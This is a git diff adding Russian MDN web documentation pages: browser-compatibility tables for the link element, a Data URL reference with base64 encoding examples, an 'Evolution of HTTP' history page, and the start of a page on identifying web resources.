+   <td>Нет изменений с ({{SpecName('HTML WHATWG')}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавлены <code>tag</code>, <code>stylesheet</code>, <code>search</code>, <code>prev</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>next</code>, <code>license</code>, <code>icon</code>, <code>help</code>, <code>bookmark</code>, <code>author</code> и <code>alternate</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Альтернативные таблицы стилей</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatGeckoDesktop("39")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>dns-prefetch</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>noopener</code></td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOpera(36)}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{CompatNo}} [2]</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Альтернативные таблицы стилей</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("39")}} </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>dns-prefetch</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noopener</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td>32</td>
+   <td> </td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Firefox 41, не подчиняется атрибуту {{htmlattrxref("crossorigin", 'link')}}.</p>
+
+<p>[2] Поскольку это мобильная функция, ПК игнорирует его, а не бросает ошибку.</p>
diff --git a/files/ru/web/http/basics_of_http/data_uris/index.html b/files/ru/web/http/basics_of_http/data_uris/index.html
new file mode 100644
index 0000000000..107a3298bc
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/data_uris/index.html
@@ -0,0 +1,131 @@
+---
+title: Data URL
+slug: Web/HTTP/Basics_of_HTTP/Data_URIs
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Data URL</strong>, URL имеющий приставку <code>data:</code>, делает возможным встраивание файлов небольшого размера прямо в документ.</p>
+
+<div class="note">
+<p><strong>Заметьте</strong>: современные браузеры обрабатывают Data URL, как неявный уникальный origin, и не заимствуют значение origin из объекта настроек ответственного за навигацию.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Data URL состоит из четырёх сегментов: приставки (<code>data:</code>), <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типа</a>, описывающего  тип данных, дополнительного ключевого слова <code>base64</code> для нетекстовых данных и самой строки данных:</p>
+
+<pre class="syntaxbox">data:[&lt;тип данных&gt;][;base64],&lt;данные&gt;
+</pre>
+
+<p><code>тип данных</code> описывается строкой в формате <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типа</a>, например <code>'image/jpeg'</code> для JPEG файла изображения. При не указывании типа данных, браузер автоматически будет интерпретировать строку данных, как  <code>text/plain;charset=US-ASCII</code></p>
+
+<p>Если данные представляют собой какую-либо текстовую информацию, вы можете просто вставить эту текстовую строку в Data URL (используя соответствующие для типа данных сущности и знаки экранирования). В ином случае вам будет необходимо использовать ключевое слово <code>base64</code> перед вставкой base64-кодированных бинарных данных. Дополнительную информацию о MIME типах вы сможете найти <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">здесь</a> и <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">здесь</a>.</p>
+
+<p>Несколько примеров:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>Простые text/plain данные</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>base64-кодированная версия примера выше</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd>HTML строка вида: <code>&lt;h1&gt;Hello, World!&lt;/h1&gt;</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>HTML строка, вызывающая JavaScript alert функцию. Заметьте необходимость закрывающего &lt;script&gt; тега.</dd>
+</dl>
+
+<h2 id="Кодирование_данных_в_формат_base64"><strong>Кодирование данных в формат base64</strong></h2>
+
+<p>Base64 относится к группе транспортных кодировок, и позволяет представлять бинарные данные в виде ASCII строк, переводя их в radix-64 представление. Состоя только из ASCII символов, base64 строки являются допустимыми для использования в URL, по этой причине они могут быть использованы и в Data URL.</p>
+
+<h3 id="Кодирование_в_Javascript"><strong>Кодирование в Javascript</strong></h3>
+
+<p>Web API имеет встроенные методы для кодирования и декодирования формата base64: <a href="/ru/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 кодирование и декодирование</a>.</p>
+
+<h3 id="Кодирование_на_Unix_системах"><strong>Кодирование на Unix системах</strong></h3>
+
+<p>На Linux и Mac OS X системах, кодирование файлов или строк в формат Base64 может быть выполнено через программу <code>base64</code> в командной строке (или, в качестве альтернативы, программу <code>uuencode</code> с <code>-m</code> аргументом).</p>
+
+<pre class="brush: bash">echo -n hello|base64
+# выводит в консоль: aGVsbG8=
+
+echo -n hello&gt;a.txt
+base64 a.txt
+# выводит в консоль: aGVsbG8=
+
+base64 a.txt&gt;b.txt
+# записывает в файл b.txt: aGVsbG8=
+</pre>
+
+<h3 id="Кодирование_на_Microsoft_Windows"><strong>Кодирование на Microsoft Windows</strong></h3>
+
+<p>Кодирование на Windows может быть выполнено через powershell или какую-либо другую предназначенную для этого программу. Так же кодирование может быть выполнено и через программу <code>base64</code> (смотрите секцию Кодирование на Unix системах), при условии активированной технологии <a href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a>.</p>
+
+<pre class="syntaxbox">[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("hello"))
+# выводит в консоль: aGVsbG8=
+
+bash -c "echo -n hello`|base64"
+# выводит в консоль: aGVsbG8=
+# обратный апостроф (`) используется здесь для экранирования символа вертикальной черты (|)
+</pre>
+
+<h2 id="Распространённые_проблемы"><strong>Распространённые проблемы</strong></h2>
+
+<p>Эта секция описывает ряд проблем, которые могут возникнуть при использовании Data URL.</p>
+
+<p>Для примера рассмотрим Data URL вида:</p>
+
+<pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<p>результатом декодирования которого будет HTML строка:</p>
+
+<pre>lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<dl>
+ <dt>Синтаксис</dt>
+ <dd>Data URL представляет собой простой формат, но даже в нём можно забыть добавить запятую перед сегментом данных или произвести ошибку во время их base64 кодирования.</dd>
+ <dt>Форматирование внутри документа</dt>
+ <dd>Встраивание Data URL по сути является встраиванием файла внутрь файла, и длина его строки может быть намного шире, чем ширина заключающего его документа. Так же, несмотря на то, что использование пробелов считается обычной практикой при форматировании данных, есть вероятность, что у вас возникнут проблемы <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">при их base64 кодировании</a>.</dd>
+ <dt>Ограничения длины</dt>
+ <dd>Хотя Firefox поддерживает Data URL практически неограниченных размеров, каждый отдельный браузер имеет свои ограничения на их длину. Например, Opera 11 ограничивает допустимую длину URL до 65535 символов, что означает ограничение сегмента данных в Data URL до 65529 символов (длина в 65529 символов взята из условия использования только только <code>data:</code> сегмента, без определения MIME типа данных).</dd>
+ <dt>Нехватка возможности обработки ошибок</dt>
+ <dd>Опечатки в определении MIME типа или написания ключевого слова <code>'base64'</code> будут проигнорированы без каких-либо уведомлений об ошибках.</dd>
+ <dt>Отсутствие поддержки строки параметров</dt>
+ <dd>
+ <p>В связи с неопределённостью типа сегмента данных в Data URL, строка параметров (характерные для страницы параметры, представляющиеся в виде <code>&lt;url&gt;?parameter-data</code>), добавленная к сегменту данных будет рассматриваться, как часть этих данных.</p>
+ </dd>
+ <dt>Проблемы с безопасностью</dt>
+ <dd>Несколько проблем с безопасностью (например: фишинг) связаны с Data URL и переходом по ним из корневого контекста документа. Чтобы избавиться от этих проблем, переход по URI, начинающихся со схемы <code>data://</code>, из корневого контекста документа перестал быть возможен в Firefox, начиная с версии 59 (и начиная с версии 58 в Nightly/Beta вариантах браузера). Надеемся, что остальные браузеры так же последуют этому примеру. Для дополнительной информации смотрите <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Blocking Top-Level Navigations to data URLs for Firefox 58</a>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2397")}}</td>
+   <td>The "data" URL scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{compat("http.data-url")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 кодирование и декодирование</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/ru/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/ru/docs/Glossary/URI">URI</a></li>
+</ul>
diff --git a/files/ru/web/http/basics_of_http/evolution_of_http/index.html b/files/ru/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..a9605942e8
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,200 @@
+---
+title: Evolution of HTTP
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+tags:
+  - HTTP
+  - Руководство
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong> is the underlying protocol of the World Wide Web. Invented by Tim Berners-Lee in the years 1989-1991, HTTP has seen many changes, keeping most of the simplicity and further shaping its flexibility. HTTP has evolved, from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the Internet, now carrying images, videos in high resolution and 3D.</p>
+
+<h2 id="Invention_of_the_World_Wide_Web">Invention of the World Wide Web</h2>
+
+<p>In 1989, while he was working at CERN, Tim Berners-Lee wrote a proposal to build a hypertext system over the Internet. Initially calling it the <em>Mesh</em>, it was later renamed to <em>World Wide Web</em> during its implementation in 1990. Built over the existing TCP and IP protocols, it consisted of 4 building blocks:</p>
+
+<ul>
+ <li>A textual format to represent hypertext documents, the <em><a href="/en-US/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li>
+ <li>A simple protocol to exchange these documents, the <em>HypertText Transfer Protocol </em>(HTTP).</li>
+ <li>A client to display (and accidentally edit) these documents, the first Web browser called <em>WorldWideWeb</em>.</li>
+ <li>A server to give access to the document, an early version of <em>httpd</em>.</li>
+</ul>
+
+<p>These four building blocks were completed by the end of 1990, and the first servers were already running outside of CERN by early 1991. On August 6<sup>th</sup> 1991, Tim Berners-Lee's <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">post</a> on the public <em>alt.hypertext</em> newsgroup is now considered as the official start of the World Wide Web as a public project.</p>
+
+<p>The HTTP protocol used in those early phases was very simple, later dubbed HTTP/0.9, and sometimes as the one-line protocol.</p>
+
+<h2 id="HTTP0.9_–_The_one-line_protocol">HTTP/0.9 – The one-line protocol</h2>
+
+<p>The initial version of HTTP had no version number; it has been later called 0.9 to differentiate it from the later versions. HTTP/0.9 is extremely simple: requests consist of a single line and start with the only possible method {{HTTPMethod("GET")}} followed by the path to the resource (not the URL as both the protocol, server, and port are unnecessary once connected to the server).</p>
+
+<pre>GET /mypage.html</pre>
+
+<p>The response is extremely simple too: it only consisted of the file itself.</p>
+
+<pre>&lt;HTML&gt;
+A very simple HTML page
+&lt;/HTML&gt;</pre>
+
+<p>Unlike subsequent evolutions, there were no HTTP headers, meaning that only HTML files could be transmitted, but no other type of documents. There were no status or error codes: in case of a problem, a specific HTML file was send back with the description of the problem contained in it, for human consumption.</p>
+
+<h2 id="HTTP1.0_–_Building_extensibility">HTTP/1.0 – Building extensibility</h2>
+
+<p>HTTP/0.9 was very limited and both browsers and servers quickly extended it to be more versatile:</p>
+
+<ul>
+ <li>Versioning information is now sent within each request (<code>HTTP/1.0</code> is appended to the <code>GET</code> line)</li>
+ <li>A status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way)</li>
+ <li>The notion of HTTP headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible.</li>
+ <li>With the help of the new HTTP headers, the ability to transmit other documents than plain HTML files has been added (thanks to the {{HTTPHeader("Content-Type")}} header).</li>
+</ul>
+
+<p>A typical request was then looking like this:</p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+A page with an image
+  &lt;IMG SRC="/myimage.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>Followed by a second connection and request to fetch the image:</p>
+
+<pre>GET /myimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>These novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it get traction. A lot of interoperability problems were common. In November 1996, in order to solve these annoyances, an informational document describing the common practices has been published, {{RFC(1945)}}. This is the definition of HTTP/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard.</p>
+
+<h2 id="HTTP1.1_–_The_standardized_protocol">HTTP/1.1 – The standardized protocol</h2>
+
+<p>In parallel to the somewhat chaotic use of the diverse implementations of HTTP/1.0, and since 1995, well before the publication of HTTP/1.0 document the next year, proper standardization was in progress. The first standardized version of HTTP, HTTP/1.1 was published in early 1997, only a few months after HTTP/1.0.</p>
+
+<p>HTTP/1.1 clarified ambiguities and introduced numerous improvements:</p>
+
+<ul>
+ <li>A connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved.</li>
+ <li>Pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication.</li>
+ <li>Chunked responses are now also supported.</li>
+ <li>Additional cache control mechanisms have been introduced.</li>
+ <li>Content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate content to exchange.</li>
+ <li>Thanks to the {{HTTPHeader("Host")}} header, the ability to host different domains at the same IP address now allows server collocation.</li>
+</ul>
+
+<p>A typical flow of requests, all through one single connection is now looking like this:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(content)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1 was first published as {{rfc(2068)}} in January 1997.</p>
+
+<h2 id="More_than_15_years_of_extensions">More than 15 years of extensions</h2>
+
+<p>Thanks to its extensibility – creating new headers or methods is easy – and even if the HTTP/1.1 protocol was refined over two revisions, {{RFC("2616")}} published in June 1999 and the series of {{RFC("7230")}}-{{RFC("7235")}} published in June 2014 in prevision of the release of HTTP/2, this protocol has been extremely stable over more than 15 years.</p>
+
+<h3 id="Using_HTTP_for_secure_transmissions">Using HTTP for secure transmissions</h3>
+
+<p>The largest change that happened to HTTP was done as early as end of 1994. Instead of sending HTTP over a basic TCP/IP stack, Netscape Communication created an additional encrypted transmission layer on top of it: SSL. SSL 1.0 was never released outside the companies, but SSL 2.0 and its successors SSL 3.0 and SSL 3.1 allowed for the creation of e-commerce Web sites by encrypting and guaranteeing the authenticity of the messages exchanged between the server and client. SSL was put on the standards track and eventually became TLS, with version 1.0, 1.1, and 1.2 appearing successfully to close vulnerabilities. TLS 1.3 is currently in the making.</p>
+
+<p>During the same time, the need for an encrypted transport layer raised: the Web left the relative trustiness of a mostly academic network, to a jungle where advertisers, random individuals or criminals compete to get as much private information about people, try to impersonate them or even to replace data transmitted by altered ones. As the applications built over HTTP became more and more powerful, having access to more and more private information like address books, e-mail, or the geographic position of the user, the need to have TLS became ubiquitous even outside the e-commerce use case.</p>
+
+<h3 id="Using_HTTP_for_complex_applications">Using HTTP for complex applications</h3>
+
+<p>The original vision of Tim Berners-Lee for the Web wasn't a read-only medium. He envisioned a Web were people can add and move documents remotely, a kind of distributed file system. Around 1996, HTTP has been extended to allow authoring, and a standard called WebDAV was created. It has been further extended for specific applications like CardDAV to handle address book entries and CalDAV to deal with calendars. But all these *DAV extensions had a flaw: they had to be implemented by the servers to be used, which was quite complex. Their use on Web realms stayed confidential.</p>
+
+<p>In 2000, a new pattern for using HTTP was designed: {{glossary("REST", "representational state transfer")}} (or REST). The actions induced by the API were no more conveyed by new HTTP methods, but only by accessing specific URIs with basic HTTP/1.1 methods. This allowed any Web application to provide an API to allow retrieval and modification of its data without having to updated the browsers or the servers: all what is needed was embedded in the files served by the Web sites through standard HTTP/1.1. The drawback of the REST model resides in the fact that each website defines its own non-standard RESTful API and has total control on it; unlike the *DAV extensions were clients and servers are interoperable. RESTful APIs became very common in the 2010s.</p>
+
+<p>Since 2005, the set of APIs available to Web pages greatly increased and several of these APIs created extensions, mostly new specific HTTP headers, to the HTTP protocol for specific purposes:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, where the server can push occasional messages to the browser.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a>, a new protocol that can be set up by upgrading an existing HTTP connection.</li>
+</ul>
+
+<h3 id="Relaxing_the_security-model_of_the_Web">Relaxing the security-model of the Web</h3>
+
+<p>HTTP is independent of the security model of the Web, the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. In fact, the current Web security model has been developed after the creation of HTTP! Over the years, it has proved useful to be able to be more lenient, by allowing under certain constraints to lift some of the restriction of this policy. How much and when such restrictions are lifted is transmitted by the server to the client using a new bunch of HTTP headers. These are defined in specifications like <a href="/en-US/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) or the <a href="/en-US/docs/Web/Security/CSP">Content Security Policy</a> (CSP).</p>
+
+<p>In addition to these large extensions, numerous other headers have been added, sometimes experimentally only. Notable headers are Do Not Track ({{HTTPHeader("DNT")}}) header to control privacy, {{HTTPHeader("X-Frame-Options")}}, or {{HTTPHeader('Upgrade-Insecure-Request')}} but many more exist.</p>
+
+<h2 id="HTTP2_–_A_protocol_for_greater_performance">HTTP/2 – A protocol for greater performance</h2>
+
+<p>Over the years, Web pages have become much more complex, even becoming applications in their own right. The amount of visual media displayed, the volume and size of  scripts adding interactivity, has also increased: much more data is transmitted over significantly more HTTP requests. HTTP/1.1 connections need requests sent in the correct order. Theoretically, several parallel connections could be used (typically between 5 and 8), bringing considerable overhead and complexity. For example, HTTP pipelining has emerged as a resource burden in Web development.</p>
+
+<p>In the first half of the 2010s, Google demonstrated an alternative way of exchanging data between client and server, by implementing an experimental protocol SPDY. This amassed interest from developers working on both browsers and servers. Defining an increase in responsiveness, and solving the problem of duplication of data transmitted, SPDY served as the foundations of the HTTP/2 protocol.</p>
+
+<p>The HTTP/2 protocol has several prime differences from the HTTP/1.1 version:</p>
+
+<ul>
+ <li>It is a binary protocol rather than text. It can no longer be read and created manually despite this hurdle, improved optimization techniques can now be implemented.</li>
+ <li>It is a multiplexed protocol. Parallel requests can be handled over the same connection, removing the order and blocking constraints of the HTTP/1.x protocol.</li>
+ <li>It compresses headers. As these are often similar among a set of requests, this removes duplication and overhead of data transmitted.</li>
+ <li>It allows a server to populate data in a client cache, in advance of it being required, through a mechanism called the server push.</li>
+</ul>
+
+<p>Officially standardized, in May 2015, HTTP/2 has had much success. By July 2016, 8.7% of all Web sites<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup> were already using it, representing more than 68% of all requests<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. High-traffic Web sites showed the most rapid adoption, saving considerably on data transfer overheads and subsequent budgets.</p>
+
+<p>This rapid adoption rate was likely as HTTP/2 does not require adaptation of Web sites and applications: using HTTP/1.1 or HTTP/2 is transparent for them. Having an up-to-date server communicating with a recent browser is enough to enable its use: only a limited set of groups were needed to trigger adoption, and as legacy browser and server versions are renewed, usage has naturally increased, without further Web developer efforts.</p>
+
+<h2 id="Post-HTTP2_evolution">Post-HTTP/2 evolution</h2>
+
+<p>HTTP didn't stop evolving upon the release of HTTP/2. Like with HTTP/1.x previously, HTTP's extensibility is still beinig used to add new features. Notably, we can cite new extensions of the HTTP protocol appearing in 2016:</p>
+
+<ul>
+ <li>Support of {{HTTPHeader("Alt-Svc")}} allows the dissociation of the identification and the location of a given resource, allowing for a smarter {{Glossary("CDN")}} caching mechanism.</li>
+ <li>The introduction of {{HTTPHeader("Client-Hints")}} allows the browser, or client, to proactively communicate information about its requirements, or hardware constraints, to the server.</li>
+ <li>The introduction of security-related prefixes in the {{HTTPHeader("Cookie")}} header, now helps guarantee a secure cookie has not been altered.</li>
+</ul>
+
+<p>This evolution of HTTP proves its extensibility and simplicity, liberating creation of many applications and compelling the adoption of the protocol. The environment in which HTTP is used today is quite different from that seen in the early 1990s. HTTP's original design proved to be a masterpiece, allowing the Web to evolve over a quarter of a century, without the need of a mutiny. By healing flaws, yet retaining the flexibility and extensibility which made HTTP such a success, the adoption of HTTP/2 hints at a bright future for the protocol.</p>
diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html
new file mode 100644
index 0000000000..2b52d642b2
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html
@@ -0,0 +1,188 @@
+---
+title: Идентификация ресурсов в Вебе
+slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web_RU
+tags:
+  - HTTP
+  - URI
+  - URL
+  - Веб
+  - Порт
+  - Путь
+  - Ресурсы
+  - Синтаксис
+  - Синтаксис URL
+  - Схема
+  - Фрагмент
+  - домен
+  - запрос
